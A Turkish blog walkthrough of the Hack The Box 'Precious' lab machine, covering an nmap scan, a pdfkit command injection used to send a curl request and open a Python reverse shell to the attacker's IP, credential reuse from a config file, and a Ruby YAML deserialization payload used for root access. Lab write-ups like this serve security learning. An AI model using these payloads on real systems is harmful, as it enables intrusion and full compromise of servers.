Hack The Box | Precious


 

Makinayi nmap ile tarıyoruz .


nmap -sS -Pn --top-port 1000 -sC -sV -oN nmap.txt 10.10.11.189
Nmap scan report for 10.10.11.189 (10.10.11.189)
Host is up (0.070s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


/etc/hosts dosyasına precious.htb adresini ekliyoruz . Adrese gittiğimizde bizi aşağıdaki sayfa karşılyor .  

Sadece girilen web sayfalarını pdf olarak  döndürme fonksiyonuna sahip uygulama bizi karşılıyor . Http isteklerini incelediğimizde Server header'ı dikkatimizi çekiyor .




HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Mon, 06 Mar 2023 12:55:10 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
Content-Encoding: gzip


Uygulamayı daha rahat incelemek için Burp Suite ile araya giriyoruz .


Oluşturulan pdf dosyasının içinde Generated by  pdfkit v0.8.6 bilgisi dikkat çekiyor . İnternette araştırdığımızda bu versiyonun command injection zafiyetine sahip olduğunu anlıyoruz . Zafiyete ilişkin detaylı bilgi aşağıdaki linkte .

- https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Netcat ile 4444. portu dinlemeye alıyoruz . Uygulamaya zafiyeti test etmek için  http://%20`curl -X POST -d 'Code execution success !' http://10.10.14.100:4444` inputu ile istek yapıyoruz .

Payload başarılı bir şekilde çalışıyor . Sisteme erişim elde etmek için kendi sistemimizde 4444. portunu dinlemeye alıp , hedef uygulamaya http://%20`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.100",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")` payload'ı ile istek yapıyoruz .

Erişim elde ettiğimzde /var/www/pdfapp klasörünün içinde uygulamanın kaynak kodlarını görüntülüyoruz fakat önemli  veri bulunmuyor .


Bulunduğumuz dizinde keşif yaparken .bundle adlı klasör dikkat çekiyor .

config adlı dosyayı açtığımızda gem hosting servisinde  kullanılmak üzere eklenmiş kullanıcı adı parola bulduk . Kombinasyonu denediğimizde başarılı sonuç alıyoruz . User flag'ini elde ediyoruz .


Bu noktadan itibaren yetki yükseltme aşamasındayız . Sudo -l komutunu kullanarak root yetkisi ile çalıştırabileceğimiz ruby ve ruby kodu mevcut . update_dependencies.rb dosyasını düzgün görüntüleyemediğimiz için ssh ile bağlanarak devam ediyoruz .

Kabaca dosyayı incelediğimizde dependencies.yml dosyasını okuyup bağımlılıkları kontrol ettiğini görüyoruz . Dosyayı çalıştırabiliyoruz fakat düzenleme yetkisine sahip değiliz . Google'da ruby dependencies code execution gibi anahtar kelimlerle arama yaptığımızda https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/  adresinde aradığımızı buluyoruz . Dependencies.yml dosyasını oluşturup içine 

```

 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: whoami
          method_id: :resolve 

```

kodunu yerleştiriyoruz ve çalıştırdığımızda root yetkisinde kod yürütebildiğimizi görüyoruz .


/root dizini altındaki root.txt dosyasından flag'i elde ediyoruz .





No comments:

Post a Comment

Hack The Box | MetaTwo

  Makinayı nmap ile tarıyoruz . 21/tcp open  ftp? | fingerprint-strings: |   GenericLines: |     220 ProFTPD Server (Debian) [::ffff:10.10.1...